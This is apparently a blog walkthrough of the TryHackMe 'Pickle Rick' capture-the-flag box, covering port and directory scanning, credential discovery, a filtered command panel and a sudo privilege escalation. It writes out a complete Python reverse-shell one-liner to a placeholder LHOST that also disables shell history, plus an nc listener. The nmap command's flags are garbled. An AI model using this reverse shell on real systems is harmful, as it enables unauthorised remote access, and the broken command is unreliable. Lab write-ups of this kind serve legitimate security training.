Pickle Rick -CTF Walkthrough

Hello Everyone! Welcome to the new blog in this blog we are going to cover step by step challenge of a box named Pickle Rick on tryhackme.

Before starting make sure that you are connected to the tryhackme VPN and machine is deployed successfully.

After deploying the machine wait for 2–3 minutes and then ping the machine to confirm that it is working properly.

Now start the nmap scan to find out the ports open and services running on the machine.

nmap scan

Command : nmap -s -s -s -A 10.10.229.87 -oA pickle_nmap

There are 2 open ports. Port 80 and 22.

Let us scan for the directories using go buster.

Command : gobuster dir -u http://10.10.229.87 -w /usr/share/wordlists/dirb/common.txt -t 100 -o pickle_dir

Now will use the different wordlist for directory scanning.

command: gobuster dir -u http://10.10.229.87 -w /usr/share/SecLists/Discovery/web-content/directory-list-2.3-big.txt -t 100 -o piclr_dir2

After hitting the below url ,we get to Hep morty website.

URL: http://10.10.229.87

On usual checking robots.txt, we found a password.

Further enumerating and inspecting the web page source code reveled the user name.

Username: R1ckRul3s

From our earlier directory scan we have login.php. Where get the login page.

Now we will use the obtained credentials.

We successfully able to login in portal and now we have a command panel. While executing the list command in the command panel we found that it has file called ‘Sup3rS3cretPickl3Ingred.txt’ and ‘clue .txt’. Let’s check the content of the file. While checking the content we found that the so many linux command are not allowed in this command panel.

But making slight modifications to cat command worked.

Let’s check the content of the ‘clue.txt’ and it saying that other flags are also in the file system.

Let’s first check the current working directory and our working directory is /var/www/html.

Now we will use the reverse shell python script to gain revershell. Befor this we will setup a listener in our local kali.

command : nc -lnvp 1234

python -c “import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘LHOST’,LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(‘HISTFILE’,’/dev/null’);pty.spawn([‘/bin/bash’,’-i’]);s.close();exit();”

As we can see we obtained reverse shell.

Now we want to escalate our privileges. On enumeration we found that the user www-data can execute all the commands with sudo permissions without passpowd

Command : sudo bash

And we got the root shell.

On searching we found the second ingredient also.

We successfully completed the challenge. Hope you enjoyed it.

Thank you.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store